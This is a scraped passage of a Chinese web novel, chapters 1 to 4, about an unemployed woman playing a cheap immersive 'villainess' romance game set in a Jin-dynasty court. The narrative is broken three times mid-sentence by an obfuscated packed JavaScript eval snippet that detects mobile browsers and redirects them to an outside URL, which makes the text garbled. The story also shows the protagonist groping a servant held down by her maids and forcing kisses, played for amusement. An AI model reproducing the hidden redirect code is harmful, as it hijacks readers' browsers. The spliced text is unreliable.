《恋爱攻略,但恶毒女配》 1. 第 1 章 你失业了,每天苦大仇深。 妈妈带你去商场散心。 从顶层逛到超市,妈妈有她自己计划购入的清单,担心你无聊,让你一个人去看喜欢的区域。 你去了游戏区。 许多设备上新,其中一个纸盒上贴了“甩卖”的标签。 明明是新游戏却要甩卖,究竟烂到了什么程度? 你翻阅说明书,得知这是一款全息游戏的配置,定价只要九块九毛九。 总之,这个价钱带回家,当电瓶车头盔都属于血赚。 你捧起包装盒去前台结账。 眉清目秀的鸭舌帽店员深深看了你一眼。 为什么?因为你买了便宜的东西? 你正处于怀疑自我价值的低谷期,别人的情绪如果不理解,就全都当成了恶意。 你没有等发票打出来就拎着包装袋离开。 回家吃过晚饭,你去浴室洗澡。蒙着脸哭了一阵,将眼泪洗干,你换上睡衣出来。 床上摆了新鲜的果切,还有一盒椰子味酸奶。不用想也知道,是妈妈给你准备的。她在用她的方式安慰你,治愈你。 可越是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230466|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,你就越心焦。 好想回报她的爱。 你不想只当一个索取者。 可你却如此失败。 将水果吃完,你送碗去了厨房。回过身收拾房间,物品收纳归位,一时间心里也清明不少。 最后洗了遍手,你坐到床上拆游戏设备。 头盔x1,数据线x3。 按照说明书把装置连接电源,头盔里闪着柔和的蓝光。 你戴好头盔,平躺在床上点击按钮,开始游戏。 任务难度:【普通】 【中等 】【困难】 2. 第 2 章 为了熟悉游戏玩法,你暂且选择了【普通】。 虚拟屏幕上浮现出【第一关】字样。 【详情介绍】:你是故事中的恶毒女配,爱慕男二多年。为将痴情男二从女主身边抢走,你用了很多恶毒的手段。 【你的任务】: 1.让男二知道你的所作所为 2.攻略男二 【游戏加载中…】 【请开始你的挑战,祝你好运】 任务场景的第一幕是婚房。 你掀开眼前的盖头,映入眼帘几盘精致的点心和红喜烛。 并没有影视剧中明亮的打光,整个屋子仅有光源便是喜烛上的跳焰,照着婚房一隅,晕染热烈的红。 你看到自己这边的倒计时: 【01:59:36】 以及右下角的待办:【新婚之夜,你的丈夫却将你独自留在婚房。你知道他一定在思念他心中的那个人,但这是你绝对不允许的……】 你明确了待办叙述中隐藏的目标:找到这个男二丈夫。 唔。 暂且不急。 你在屋子里巡望一周,隐约找到铜镜的轮廓,举了一根喜烛过去。 你坐到梳妆台前看着自己。 脸没有变,装扮十分隆重。如果在游戏之外化这样的妆容,再穿这种类似魏晋风的古装,应该要花个千八百以上。 而你只花了9.99。 你拉开控制面板,尝试寻找截图功能——未果。 也可以理解,毕竟没有创建账号,也没有插内存卡,缺少储存和云同步的配置,便也不必载入截图、存图功能。 九块九毛九的游戏能有这样真实的体验,已经算你捡到便宜。 话说回来,这游戏怎么一点声量都没有,且沦落到“甩卖”的程度? 游戏名叫什么? 脑子里思考着杂七杂八的东西,指尖别开卡扣,你掀开梳妆台上摆着的首饰盒。四方古朴的盒子里面琳琅满目,步摇、簪钗、玉环。 玉这种东西不管什么价钱都漂亮,但贵的还是不一样。昂贵的玉圆润有温度,能让人爱不释手,移不开眼。 挨个打量一遍,你拆散头上发髻,金花叶蕊部的红宝石在喜烛下映着亮泽。 头发散开,脖子一下轻松很多。你挑支翡翠钗在头上比划,镜中便照出一张好奇的面庞。 真美。 梳妆台旁邻着衣柜。你敞开柜门,随手翻了几套衣服抽出来,拿到镜子前比对。 可惜光线太暗,看不出什么。 好了,换装游戏已玩腻。 你依然探索着屋子。 看装修是这个时代的大户人家,摆设十分贵气雅致。 你盯回桌子上的点心,还有床榻上的花生、瓜子、桂圆。 在游戏里能吃东西吗? 你端起盘子,糕点外裹了一层白粉,凑近闻有甜香与生面的气味。 尝试咬了一口点心,虚空中浮现数值:【体能+1】 点心甜糯,入口即化还带了流心,是来报恩的好食物。 你很快吃完了一个,体能增加的数值在空中不断跳出,最后变成了:【已饱腹】 出现了这个标识,应该不会再因“吃”增加数值了。 但没关系,你本就志不在此。又吃了会儿其他东西,桂圆壳剥满了点心吃光后空出来的盘子。 你有一点去踩踩厨房地图的念头。 最后一颗桂圆肉进口,空中数值变成:【体能-3】 “……” 吃太多,伤食了。 好有意思。 你的心情一点点明朗起来。 推开房门,门外是古朴的庭院,有竹柏月影。未等迈出门槛,两名侍女围上来,她们两手叠在腹前,头微低着,都是忠心等待吩咐的神态。 “小姐。” 你在空中看到她们的名字。 左边的是翠儿,右边的是柳儿。看上去身经百战,经验老道,常跟着设定里的你做坏事。 “小姐有何吩咐?” 遇到了剧情里的人。 你心念一转,暂时搁置了熟悉地图的想法,打算先去看看任务对象。 “他哪去了?” 没有明确特指,翠儿却能意会回答:“谢公子在书房饮酒。” 你点点头,看了一眼待办。 【新婚之夜,你的丈夫却将你一人留在婚房。你知道他一定在思念他心中的那个人,但这是你绝对不允许的……】 【进程50%】 有进度了? 只是问了一个问题而已。 看来初次【待办任务】是给新人刷经验的。 柳儿眼神狠毒:“都是那个司马婧,我当初就该替小姐杀了她。” 你关闭虚拟面板,端详侍女的外观。肤如凝脂,明眸善睐,她们容貌相近,是一对双胞胎。 双胞胎的话,有时可以利用彼此相似的外貌做一些坏事,行动的同时,另一方做不在场证明。 这种对方是坏人,但对自己忠心耿耿的感觉,体会起来并不赖。 都是好女孩。 你让她们带你去书房。 书房距婚房不远,走过一条长廊再拐角,尽头紧闭的房门便是。一路上挂着红亮的灯笼,窗棂上也有贴窗花和喜字,府邸中弥漫喜事的氛围。 你踩着廊柱的影子,如阶梯般漫步到了书房前。 任务对象的侍从将你拦住,语调冰冷淡漠:“夫人,公子说想一个人静静,时候不早了,您回去休息吧。” 你打开游戏任务。 【任务】: 1.让男二知道你的所作所为 2.攻略男二 任务的意思是你需要向男二袒露你的恶行。 也就是说,你的恶行在目前阶段还不被他知晓。 可眼前的男人,作为男二的手下,对身为主人新婚妻子的你并不尊敬,一副秉公处理的不耐姿态。 是旁观者清,他们这些外人对你的所作所为知情一些?还是,他只是单纯地对你没有好感?毕竟你是“恶毒女配”。 凝视这个侍从久了些,你发现他是个小有姿色的男人,肩宽腰细,看着身板也很结实。 【倒计时】:00:57:10 一个小时不可能让男二变心爱上你了,当然,两个小时也不可能。 与其去强行做任务,不如继续你的奇思妙想。 你的视线停留时间过长,侍从面上生出疑惑。 直到你将手举起,按落到他饱满的胸膛,而后向下。 因为从事的是文职的缘故吗?他衣服的用料绵软细腻,接触的瞬间就能感知到躯体的温度。 神奇。有趣。 “……!” 侍从面红耳赤地惊怒:“你!” 他抓住你的手腕,换来你厌烦的一眼。 你转头吩咐翠儿柳儿:“按住他。” 翠儿柳儿虽然也有震惊和不解,但是你的命令,她们绝对遵从。 她们合力按住了侍从。 不愧是你的心腹,武力如此高强。 在她们的压制之下,侍从没有反手之力,不得不任你摆布。 你从腰带里拽出他的衣摆,直扒到里衣,成块状的肌肉袒露在空气里,还有迎风耸立的山峰。 它们都因为紧张和愤怒绷紧了。 翠儿和柳儿为方便你动作,将他按倒在地。 你蹲在他身边,研究男人身体构造。 有温度,有触感,有反应。 很火热。 可是。 你看向他的脸,眼中的兴致弱了几分。 姿色还是略小,不是你的菜。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230467|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >身后吹来清凉的夜风。 书房的门开了。 你不知他停留了多久,才有勇气打开这扇门。 名字刷新出来:谢珩(任务攻略对象) 你手掌还印在侍从的人鱼线处,看到字幕,无聊地回头。 目光一顿,你对任务对象的美色很满意。浓淡相宜,是一种很客观的帅,就是太瘦了。 与你不同,他穿了一身月白长袍,与这座到处挂红的府邸格格不入。也许他提前换下婚服,也许他根本没穿过。 他的表情无比精彩。惊吓、疑惑、愤怒、厌恶,轮番出现在他的脸上,成为脸色的一部分。 “桓筝,你在干什么?” 【任务失败】 眼前的造景与npc全部消失,你来到了一个似乎是待机界面的房间。 有沙发与茶几供给,顶头一束灯光照着,除此以外,其他地方全是漆黑与虚无。 【任务失败】旁有一颗红点。你点击详情,一段文字展开。 【他亲眼看到了你对别人的非礼。 “无论如何,也不该……” 你们没可能了。】 【进入结局】 你被男二谢珩送回了家里。 虽然他有心帮你隐瞒,但侍从阿问受到非同一般的心理创伤,他的朋友们为了发泄恨意,背着谢珩把你做的荒淫恶事传了出去。 褪去了柔善伪装的你没有被流言伤害,如破茧重生般我行我素,横行霸道。 离开了谢珩,你的院子养着许多无名的男人,日子过得更滋润。 男女主在这个世界幸福快乐地生活在一起,男二谢珩暗中守护了女主一生。 值得一提的是,你在婚房里留下的痕迹被谢珩发现。 空碟子x2 桂圆壳x98 翻动过的首饰盒x1 随手扔乱的谢珩的衣衫x6 他曾因怀疑,私下检验过你的身份。 但你就是你,无可替代的你,永不回头的你。 即使你为他做过的那些错事暴露出来,那些人的厌恶也无法再伤害到你了。 获得成就:【采花大盗】 【闯关失败】 数值结算: 美貌11/30 体能8/30 健康100/100 心性50/1000 声望85/1000 【请问您对初次游戏的体验满意吗?】 你点击: 【满意】 【还打算继续游戏吗?】 【yes】 【好的,已为您开放存档、读档、剧情回顾页面】 【欢迎来到《恶毒女配向前冲》剧情向闯关游戏!请用户创建账号。】 竟然在这个时候才介绍游戏和创建账号? ……还挺人性化。 下载完就要创建账号登录的游戏,之后不想继续玩,还要特地去注销账号。 与之相比,这种玩过一次、体验不错想要继续玩,才弹出窗口让你创建账号的游戏,真的很贴心了。 账号创建不需要绑定其他数据,只要输入一段数字,再设置密码就算创建成功。 弹窗提醒你记住账号,一旦丢失无法找回。 你最先用【123456789】作为账号,因太简单被劝退。 于是你用了自己的出生年月日期,这也是你所有密码的源头。 【注册成功】 【登入加载中……】 【系统检测,您在第一关:《春衫录》桓筝世界中已达结局1/n,是否继续难度,重新开始闯关】 【否】 【是否退出游戏】 【是】 【期待与您的再度相逢】 【会一直一直】 【等着您的】 3. 第 3 章 意识从游戏世界回笼,你睁开眼,目光聚焦的尽头是卧室里澈亮晃眼的灯光。 你打开手机,距离你登入游戏的时间只过了三分钟。 看来游戏内外时间流速不同,时间差在90:3,也就是现实里的一分钟等于游戏里的半个小时。 现在的时间是夜间20:12。 你起床喝了口水,切断卧室里除了游戏以外的其他电源。 准备就绪,你躺入床上摆出一个舒适的姿势,被子盖好,启动头盔进入游戏。 开玩。 这一次,关卡的介绍比试玩期间丰富生动很多。 【第一关】 【春衫录·桓筝】 【你是桓筝,出身龙亢桓氏破落一支。因父佞新帝有宠,举家安置皇都建康。你是家中最知书达礼的女公子,在外颇负盛名。】 【十岁,与谢氏珩在上元节相识,灯会暗影,一见倾心。然落花有意,流水无情。谢珩心中早已有属意之女,乃是王族公主司马婧。他们郎才女貌,两情相悦。】 【世有万生,檀郎唯一。此后多年,你不甘放弃,利用父亲地位接近九公主司马婧,与她明面上结成友人,背地里行恶残害她身心。】 【偶然一次幕间,你发觉男主裴元启对司马婧潜藏的幽深爱意。河东裴氏的出身,又手握兵权,战功赫赫。若他能站出与谢珩竞争,胜者花落谁家,不言而喻。】 【你开始了对男女主漫长助攻之旅,用计给男主英雄救美的机会。 他二人情窦滋生的同时,你在暗处挪动棋子,将“谢氏欲通过结亲,与九公主亲兄大皇子联盟,夺取太子之位”的消息散布进皇帝的耳朵。】 【皇帝召见谢珩,问他在凝香宫可有心仪之人。谢珩答是,帝怒,下其狱,派裴氏包围谢府。】 【谢裴两族剑拔弩张之际,你佯装好心,自称愿为公主解忧,到皇帝面前领认自己便是谢珩在凝香宫的倾心之人。裴元启亦借此良机向皇帝求娶九公主为妻。】 【如此,干戈化玉帛。你与裴元启拆散一对有情人,双双得偿所愿。】 【与官配强取豪夺、真情暗生的爱情故事不同,你的婚姻从头至尾都是阴谋。】 【通关条件】: 1.让男二谢珩知道你的所作所为 2.攻略谢珩 【玩家,请开始你的挑战】 末尾一句话落定几秒,影像与字幕全部消失,环境光骤暗,你回到了游戏开始的婚房。 喜烛“噼啪”炸了一声,火焰烫到般缠着线芯跳跃。 你拉开存档界面,存储了第一关的第一个节点。 桓筝。 你默念游戏角色的名字。 这个名字取得很好,铮铮铁骨,听起来就很有韧性,符合角色人设。 男人不属于她又怎样,她会用尽手段去争,将瓜强扭过来。 真酷。 你站起身,头上的步摇冠跟着摇晃,清脆的宝石相鸣,一步一响。 房门之外,翠儿与柳儿左右站着,凝面等你吩咐。 她们因谢珩在书房借酒消愁一事恼怒。新婚之夜,丈夫却没陪在妻子身边,这一夜过去,明日满建康的妇人都要低看她们家小姐一眼。 你伸手,挨个摸了摸她们的脸颊,女儿家未施粉黛,润了夜色,面皮若奶羹般细腻温凉。 “我去书房找姑爷,你们不必跟,回去睡吧。” 翠儿俯首称是。 柳儿眼中划过一丝阴狠:“都是那个司马婧,我当时就该杀了她。” 你点了点涂满嫣红口脂的唇瓣。 “嘘。” 你到了书房门口。 侍从阿问将你拦下,面色冷淡:“桓小姐,烦请留公子一人静静。时候不早了,您回去休息吧。” 你对他笑了一下。 这笑有些莫名,令阿问脊背生凉,仿佛在你手下经历过非人的摧残。 怎么可能。 虽说你自作主张替九公主与公子遮掩私情,使得皇帝拆散了他们,为你与公子赐婚。 但谁都知道,你只是一个柔弱多才的淑女,你那么做,不过是为了保住九公主与谢氏全族的性命,是为了姊妹之情献身。 阿问不高兴待你,是他为公子情意可惜的迁怒。 如此情深义重的你,怎么可能做出龌龊之事呢。 你道:“替我跟你家公子传话,那日猎场,用暗器令公主坐骑发狂的真凶我已查出,后续处理事宜,盼与公子相商。” 提起“公主”,担当带头磕cp角色的侍从阿问立刻转身进了书房,与公子对话。 一分钟不到,他将房门敞开,躬身请你进去与公子面谈。 你没理会他前后态度的反差,放眼观望之前未曾踏入的书房建模。 三面墙都是书。五花八门,竹简与缝册皆有。每本书的末端都挂着木牌,刻有书名类别。 矮处刻字稍显青涩,但也方方正正,刻痕清晰,看得出认真。高处的刻字清正隽雅,一丝不苟的习惯延续下来,有松柏之姿。 分类有:六艺、诸子、兵书、诗赋、数术、方技。 书房不算宽敞,两手伸平,横能容纳五人,纵能容纳四人。除了本该有的书,还藏有许多画卷。 你随手抽了一卷,散开来看,是女子嗅花的画像。 画卷被人使了力气抽走。 顺着抽走的方向看去,你望进一双潋滟愁水的眼睛。 他边瞧你,边珍惜卷着手里的画。 “筝娘要做什么?我这里东西杂乱,无甚好看。” 生疏、客套,面对冒犯之举,谢珩是体面的人。 这品性从试玩出【采花大盗】结局,他撞见你公然玩弄阿问身体时就看得出来。 就算你的举止惊世骇俗到那般地步,他也愿为你留一丝遮羞的颜面。 好归好,却不是待妻子的态度。 心中有了通关任务的安排,你看着他,道:“你是在等我说九公主惊马的幕后黑手是谁吗?” 谢珩眉眼已有醉意,眼神暂留清明,但长睫扇动慢了一些。 “筝娘不正为此事而来?” “不是。我来,是因为今天是你我新婚之夜,我需要我的丈夫跟我一起睡觉,而你不给我面子在这喝酒。” 谢珩沉默。 是,今日是他与桓筝的新婚之夜,他本该与她春宵帐暖,梦入云雨。 但他想娶的人不是她。 明明已经下定决心,抛弃家族与生死,带那个人私奔,却在步入城郊的荒草泽前,被那人反悔。 她笑着流泪,要他长生长寿,多子多福。而他们之间,为了彼此,为了大皇子与谢氏全族的安危考虑,以后都不必再见。 他何尝不知他们的阻碍,他也只能鼓起那仅有一次的勇气而已。现在回想起来亦有后怕,若当日他与公主远走,留谢氏在建康,怕再见只剩荒野的坟茔,全族上下几百口的性命,都要为他的任性葬送。 谢珩无力自苦,依照圣命,娶救他与公主于水火的筝娘为妻。而婚期的同日,是裴元启尚公主的吉礼。 他与司马婧之间,终究是无缘了。 失去所爱,痛苦像喧闹的蝉鸣,隔塞了眼睛与耳朵,让心细如发的他忽视了被这场悲剧牵连的人。 筝娘何辜? 她为公主出头,不惜名节,声称与他两情相悦,证据桩桩件件,头头是道。就连皇帝都忍不住动摇了猜忌,将他从狱中放出,成全了她。 如此牺牲,换来了什么?他连新婚之夜的脸面都吝啬给她,她用伤害公主的凶手身份作交换,才能勉强见他一面。 “你不跟我回房睡觉,那个下黑手的人是谁,你就别想知道了。” “也许凶手之后还会瞒人耳目对公主不利,在你管束不到的地方伤害她……” “……” 谢珩扶着书案起身,脸色不大好看。 “走吧。” 你得逞一笑,领了待办的奖励。【不回房的丈夫】这个小boss被你智斗打败了。 兑换奖励:【旧时纸鸢】x1 【陈旧的木制鸢骨上似乎留有刀迹……】 你没多看,按了【x】键。 弹窗:【[旧时纸鸢]已纳入最近背包,玩家可随时查看】 一项待办清除,另一项待办出现。 【你怎会让自己陷入难堪的境地。在施展一番手段后,你与谢珩同床而眠。你深知情意的转变不在一朝一夕,趁他为男女主的婚事伤情,展现温柔一面,趁虚而入……】 你清楚,一行字的重点在于【趁虚而入】。 仿若剧情的指引,最终的方向是拿下谢珩的感情。 他躺在你身边,侧头就能碰到的地方。 你深深注视谢珩,目光像柔软的拂尘,丝丝缕缕刮过他身体的每个地方。 立体俊朗的五官,眉毛浓密而有型,鼻若山峰融雪,凝一条平滑的弧线,隔开暗夜星子般的双眼。 他的双眼皮看着很嫩,类似勺子割过蛋羹留下的清浅痕迹,却将眼睛勾出极美的、桃花般的轮廓。带着醉意瞧人,仿佛有烟雨横生,雾蒙蒙,湿润润。 生活中很难见到这般长相的男人。你对“谦谦君子,温润如玉”这句话只停留在字形上,如今,算是在眼前具现。 谢珩的喉结滚动了下,随着吞咽的动作复位。他的呼吸在胸口起伏,轻轻的,似有些局促与紧张。 筝娘与他相识已久。她随父来建康那年,就在上元节见过了。 那时他们都还是稚童,听说了任官吴江的桓大人趁圣上出巡,大作谄媚之态的事迹,对新桓氏心生恶感,不屑结交。 筝娘去灯会亦是独来独往。王氏、谢氏、崔氏的孩子在人群中央猜灯谜,她就带着侍女在旁看着,直到人群散去,没人再遗憾题首未解,她才静静上前,与店家相对,拿了那盏火光最热烈的兔儿灯。 公主赞她为人低调,不争不抢,与她那俗气的爹不同,是家中清流。 谢珩便也这样认为。 之后她与公主交好,几人便一同在皇宫的角落长大。 筝娘在谢珩心中,是司马婧的友人。她颇有才情,他欣赏她,或许也可算是自己的友人。 他从未想过会有躺在她身边,被她叫夫君的一天。 她一直在凝视他,野兽般直白的视线落在他身上,压得他快要喘不过气。酒意上头,他额角隐隐发痛起来。 筝娘对他……应也是无意的。他万不能趁人之危,对她做出淫恶之行,玷污她的清白。 她已经为他与公主牺牲太多了。 为筝娘的名声着想,除了同住一床,还需再周全一点,过了二刻,他会派阿问叫水进来。 “你喝的什么酒?有花香。” 筝娘与他说话了。 他顿了下,答:“碧芳酒。” 你凑他近些闻:“什么做的?我闻着有荷花的气味。” 谢珩道:“含露鲜莲二十朵,混米酒十斤、粗糖,置于陶瓮,放在避光处发酵三十日。” 竟说起了做法。 他感到难言的窘迫。 这边,你将视线落在他被烛光描摹的唇。 听着不错,是好酒。 “给我尝尝。” 你低头亲上他的嘴。 软唇相触,舌才探入,便被他握着肩膀推开。 他面皮天生长得薄,脸连着脖子、耳朵都红透了,不敢置信般与你对视。 “筝娘?” “别动,我看别人都这么演的,还没尝出酒味来呢。” 谢珩两手抵着你,与你保持距离,轻斥了声“荒唐”。 他背过身坐直,面向床榻之外,抗拒到极致,却没有离开的打算。 他知晓,他与你已成夫妻,以后要同你在一个屋檐下生活,做……这些事,是在所难免。毕竟他已与你成亲,即便和离也不会轻易再娶别人。 他和九公主已经不可能了。 你想要亲密,却被任务对象推开,这一互动使你的数值发生了一些变化。 【心性-1】 【声望-1】 【谢珩好感+1】 嗯?加好感了? 你拉开数值页面,上下一览。 美貌16/30 体能17/30 健康100/100 心性365/1000 声望896/1000 谢珩好感52/100 总结下来,就是相貌中等,体能中等,略有心性,声望卓著。 谢珩的好感数值令你感到意外,居然在一半以上。 ……也不是不能理解,没拆穿过去的恶行之前,你在他们面前算是个难得的好人。 倒是谢珩,明明心里有人,亲一下却能加好感。 你在此处存档。 挽了挽袖口,你扳过他的肩头:“喂。” 谢珩眼中划过一抹讶色,茫然注视你,因担心你重心不稳摔下床榻,他还搭手扶了你一把。 “筝娘?” 你对准他好看的唇形,亲吻下去。 谢珩呼吸一窒,慌乱向后躲,你却没给他躲避的余地,强行品味一番碧芳酒的滋味。 没有滋味。 荷香尝进嘴里什么滋味都没有,这味道也许只能用鼻子闻。你只能分辨到他口舌之间的酒精气,还有一丝若有若无的甜。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230468|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 你亲吻他,压到他身上,像用唇舌捉一条鱼。 滑溜溜的,潜逃的,温软的鱼。 摔到地上的那一刻,谢珩便停止了反抗,你们都没有闭眼,你看到了他眼中如墨入水般漾开的排斥与不愿。 很有趣的一点,里面没有厌恶。 不过。你视线向上,看到不停跳跃的数值。 【谢珩好感-1】 【谢珩好感-1】 【谢珩好感-1】 【谢珩好感-1】 …… “算了。” 你抬袖抹唇,拍拍他的脸,在他不知名状的注视里读档回到他独坐床头的那一刻。 方才跌到【40】的好感此刻恢复了【52】。 你铺了铺枕头,躺到上面,想尝试在游戏里睡觉是什么滋味。刚好游戏外也是夜晚,不至于过分沉迷吓到妈妈。 身下的木床虽没有现代工艺那样的绵软,但床单的材质是棉被罩无法比拟的。 丝绸啊,华亮的丝绸。 你用脸贴了贴枕头,还把被子抱进怀里。 留意到谢珩的目光,你对他笑笑,而后朝里侧转身合眼。 这个男二,从见面开始就是各种惊疑的表情,一副有话说不出的命苦模样。 不管了,明天再说。 谢珩见你要睡了,无声帮你掖了掖被子的空隙,不让风从入口钻进去。而后,他拖着鞋去门口,轻声派阿问叫水。 沐浴的木盆被两个侍从端停在外间,他们守己本分,没有抬头乱看。脚步声轻轻退出去,关门合紧。 谢珩简单洗漱,回到卧房用外衫把自己捂热,才掀开被子的一角,悄悄躺了进来。 你并没有睡。 没玩到手机,刷那些让大脑变平滑的短视频,你半点困意也无。 谢珩也发觉你醒着了,他鼓起勇气,问你:“筝娘,害公主惊马的凶手,你还没告知我。” 横竖睡不着,你转过身,与他面对面,推进任务进度。 他受不了与你这般近,忙将身子平躺,又忧心这举动是否会伤到你,余光往你这边瞥了瞥。 你道:“我可以告诉你,但你需要回答我一个问题。” 谢珩道:“请讲。” 你道:“你喜欢什么样性情的女子?” 谢珩脑海里自然而然地浮现出九公主的面容,而后那面容被思绪打散,消失在黑暗深处。 他侧头看你,认真道:“你做自己便好,不必费心讨好我。我们……过了今日,便是夫妻,无论发生何事,我会敬你,重你,请相信我,我不会做让你丢脸的事。” 你与他对视良久。 心想,怪不得桓筝喜欢他,想得到他。 这人的品貌实在挑不出毛病。 阅遍天下,也只能找出这一个稀世珍宝。就算性转成女性,谢珩也会是个好女孩。 “多谢?” 你试着回应。 而后把他追问的真相坦言:“公主当日惊马,其实是我做的手脚。” 在他懵着的眼神里,你回忆剧情细节:“我派人引走公主的马童,亲自喂踏风马吃了醒魂草。这草吃了会让马狂奔嘶鸣,半个时辰后恢复正常,无迹无踪,无色无味,又没有毒性,很难被人发觉。你与公主往暗器的方向查,实乃背道而驰,南辕北辙,永远都查不到真相。” 谢珩满脸的茫然不解。 像雨落,点点滴滴许久才将地面湿润。难看的神色在他脸上落下。 他错愕盯你,艰难吐出音节:“为什么?” “筝娘,你与公主兰芷之契,镜花同照,相知多年,为何你要做伤她的事?” 【谢珩好感-8】 你轻道:“为了你啊。” “什么?” “我说,我是为了你,才着手做坏事的。” 你与他对峙:“谢珩,我十岁那年就喜欢你。我知道,你和公主心意相通在那之前,更早,我的感情比不上你们。” “但我就是喜欢上了你,因为你,我把好好的人生之路走偏,无缘无故恨一个不相干的人,脏了我的手。” “我会是天生就喜欢做坏事吗?” “我的才能是为伤害公主而生吗?” 谢珩后知后觉发怒:“即便如此,你也不该对公主下……” 你道:“是啊,我为什么不对你下手,喜欢上另一个人的明明是你。你知道为什么不吗,你这么聪明,一定能想通吧?” 你冷眼旁观他的愤怒。 好感度掉到【35】停止。 你说让他想,他便真的低眉去想。 为何你有胆陷害司马婧,却不对他动手。原因如此分明,你也已经亲口说出了。 你心悦他。 心悦到违背本心,斗胆去害一个万万不该害的尊贵的人。 谢珩紧攥手头的被子,沉声反思:“我是做了什么,让你误会?” “没什么。你只是活着,喜欢你是我的错。” “……” 他幽幽叹了口气。 事已至此。 事已至此,还能怎么办。 怪不得凝香宫与谢氏如何下功夫找,都找不到那日马惊的幕后之人。桓筝藏得这般深,这般好,有城府至此,谁能是她的对手? 当日踏风发狂,载着司马婧奔向猎场之外未经布设的深林。他们搜遍山路,也只找回了受伤流血的踏风马,公主消失了三天三夜,后来被裴元启救回。 他们之间,就是从那时开始不同的。 谢珩冷道:“桓筝,以后这种事,你不要再做。” “念在你为公主牺牲名节……” 他说不下去了。 桓筝既然对他有情,那当日出头挡在司马婧身前的举动,怕也是有意为之。 别人的灾祸,于她而言是一种成全。 夜深,他先前喝的那些酒都醒干净了。 谢珩不敢抬头,他感受得到你的注视。 若你从多年前就喜欢他,那这些年来你们的相处,你们的每次见面,你都是怎样看待他的? “念在你与公主……” 你与公主的那些情分,应也是接近于他的谎言,不然怎会下得了杀手? 谢珩耳朵发热,嘴张张合合,最终垂首:“念在你与我多年旧识,公主亦平安无事的份上,此事作罢,我不会告诉任何人。” “但你以后,真的不要再做那种事了。” “我们已是夫妻。” “你……不要再伤害公主。” 【通关条件:1.让男二谢珩知道你的所作所为】 【已达成1%】 【继续努力吧~】 4. 第 4 章 一觉睡醒,天色大亮。你活动肩颈,没想过在游戏中睡觉也可以产生清空疲惫的舒爽。 【体能+1】 枕边的位置空着,你没有在卧室里看到谢珩。 你浏览一夜过去后刷新的数值。 【 美貌16/30 体能20/30 健康100/100 心性365/1000 声望896/1000 谢珩好感35/100】 【通关进度 1%】 感觉通关遥遥无期。 待办:【你怎会让自己陷入难堪的境地。在施展一番手段后,你与谢珩同床而眠。你深知情意的转变不在一朝一夕,趁他为男女主的婚事伤情,展现温柔一面,趁虚而入……】 进程:【26%】 小任务倒是看得见希望。 你在这里存了个档。 而后退出游戏。 在头盔之下睁眼,周围还是一片漆黑的夜色。 你坐起身查看时间:20:36 是你第二次进入游戏的时间。 没有变? 游戏内外的时间差消失了? 为什么? 你上网搜索游戏名称《恶毒女配向前冲》,网页加载出来后,略过前三栏广告,你点入游戏官网。 动图展示头盔与数据线的科技感,附有“神经接口”、“量子计算”、“多巴胺调控芯片”等先进技术介绍。 你看不懂。 但“实现游戏内时间与现实时间异步运行”你看懂了。 玩游戏不花费真实的时间这种事,放在过去和异想天开没什么区别。 真正实现了,反而需要保持警惕。 连人对时间的感知都能改变,那么通过装置操控玩家是不是也做得到? 你下滑页面,阅读安全协议书的条款。 官方倒是郑重其事地保证了不会侵害用户人身安全。 你点击游戏论坛。 论坛的首页是玩家针对剧情的讨论。 绝大多数的用户第一选择是【困难】模式,但无论难度如何,第一关的剧情背景都是“拆散女主与痴情男二的恶毒女配”。 你看到了大家对攻略对象谢珩的吐槽谩骂高楼层。 每个人开出的关卡中,谢珩的性格都不太一样,所以别人的帖文并不具备什么参考价值。 发表出来只是通关失败多次的玩家发泄愤怒的一种渠道。 你退出论坛,此时到了夜间22:03。 游戏带来的新鲜感让你从失业的阴影中走了出来。 如果你还在每天上班,就不会有耐心分出精力玩这种内容庞杂、耗费心神的游戏。 所以空闲下来调整状态也没什么不好的,又不是明天就会死。 你重新登入游戏。 晨起时微凉的光线从窗纸中透射。时令初夏,房门敞开,新鲜沁鼻的空气充斥着室内。 你打开虚拟面板,发现之前醒目的倒计时不见了,仔细回想,是第一关正式开始时消失的。所以那两个小时的倒计时,应该是游戏试玩的时限,游戏正式开始后,时间就与现实切断,不再同步。 翠儿端来脸盆与手巾,摆放到床边的方形小桌上。她熟练地往里面撒了几片花瓣,素手轻搅,花瓣与水流一并转动。 柳儿绑起床帐,利落打结,准备好你今日的着装。 你拿花草茶漱口,仔细洗过脸,卸去被遗忘的成婚妆容。 “小姐,谢公子去正堂侯着了。他说你可以用过早饭再去找他。” 柳儿脸上明晃晃的得意:“我们家小姐就是有谋有略,再硬的骨头,也能随随便便泡软,有本事他待在书房别回来呀。” 翠儿无奈给她一个眼神。 你没有阻止。 看得出来,柳儿在真心崇拜你。 